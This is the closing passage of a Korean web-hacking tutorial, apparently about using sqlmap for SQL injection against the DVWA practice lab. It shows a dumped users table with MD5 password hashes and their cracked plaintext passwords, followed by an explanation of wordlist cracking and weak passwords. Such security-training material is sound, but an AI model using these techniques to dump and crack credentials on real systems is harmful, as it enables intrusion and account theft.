| 1       | http://192.168.189.248/hackable/users/admin.jpg   | admin   | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | admin     | admin      | 2016-11-30 19:39:37 | 0            |
| 2       | http://192.168.189.248/hackable/users/gordonb.jpg | gordonb | e99a18c428cb38d5f260853678922e03 (abc123)   | Brown     | Gordon     | 2016-11-30 19:39:37 | 0            |
| 3       | http://192.168.189.248/hackable/users/1337.jpg    | 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  | Me        | Hack       | 2016-11-30 19:39:37 | 0            |
| 4       | http://192.168.189.248/hackable/users/pablo.jpg   | pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  | Picasso   | Pablo      | 2016-11-30 19:39:37 | 0            |
| 5       | http://192.168.189.248/hackable/users/smithy.jpg  | smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith     | Bob        | 2016-11-30 19:39:37 | 0            |
+---------+---------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+

[13:03:55] [INFO] table 'dvwa.users' dumped to CSV file '/root/.sqlmap/output/192.168.206.136/dump/dvwa/users.csv'
[13:03:55] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.206.136'
root@kali:~#

users 테이블을 덤프하면서 sqlmap은 비밀번호 해쉬를 자동으로 역연산한다. 비밀번호가 취약한 경우에는 MD5 해쉬값으로부터 비밀번호를 "취약한 비밀번호 목록"(/usr/share/sqlmap/txt/wordlist.zip)과 비교하여 알아낼 수 있다. 그 결과는 admin:password, gordonb:abc123, 1337:charley, pablo:letmein, smithy:password 등으로 비밀번호가 매우 취약하게 설정되어 있다.

사람이 기억하기는 쉬우나 기계가 분석하기 어려운 암호를 설정하는 효과적인 방법은
재미로 보는 비밀번호 복잡도 문서를 참조.

실제 취약점 점검과정에서도 종종 이러한 사례가 발생하고는 한다 - 물론 비밀번호가 강력하게 설정된 경우에는 해쉬로부터 비밀번호를 알아내기가 거의 어렵다. 이제 관리자 계정과 일반 사용자 계정을 확보했으므로 정상적으로(?) 로그인하여 취약점 점검을 진행할 수 있다. SQL구문삽입 공격은 수작업으로 진행할 경우에는 시간이 매우 많이 소요되는 작업이다. sqlmap은 자동화된 SQL 공격도구이므로 취약점 점검 시간을 단축하는 데 큰 도움이 된다.

[처음 작성한 날: 2016.12.22]    [마지막으로 고친 날: 2016.12.22] 


> 이 글을 목록없이 인쇄하기 편하게 보기

< 이전 글 : DVWA SQL Injection (low, medium, high level) 실습 설명서 (2016.12.24)

> 다음 글 : DVWA Blind SQLi (high level) 수동점검을 통한 '눈먼'SQL 구문삽입의 이해 (2016.12.27)


크리에이티브 커먼즈 라이선스 이 저작물은 크리에이티브 커먼즈 저작자표시 4.0 국제 라이선스에 따라 이용할 수 있습니다.
잘못된 내용, 오탈자 및 기타 문의사항은 j1n5uk{at}daum.net으로 연락주시기 바랍니다.
문서의 시작으로 컴퓨터 깨알지식 웹핵 누리집 대문

.. -- -- | - .. .... | ... / .. .../ ... {] . .. .. .. ..| ...... .../ .../ .. ...... ... ... ] .. [ .../ ..../ ......./ .. ./// ../ ... .. ... .. -- -- | - .. .... | ... / .. .../ ... {] . .. .. .. ..| ...... .../ .../ .. ./// ../ ... .. ... ...| ..../ ./ ... / ..| ....| ........ / ... / .... ...... ... ... ] .. [ .../ ..../ ......./ .....| ..../ ./ ... / ..| ....| ........ / ... / .... ...| ..../ ./ ... / ..| ....| ........ / ... / .... . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .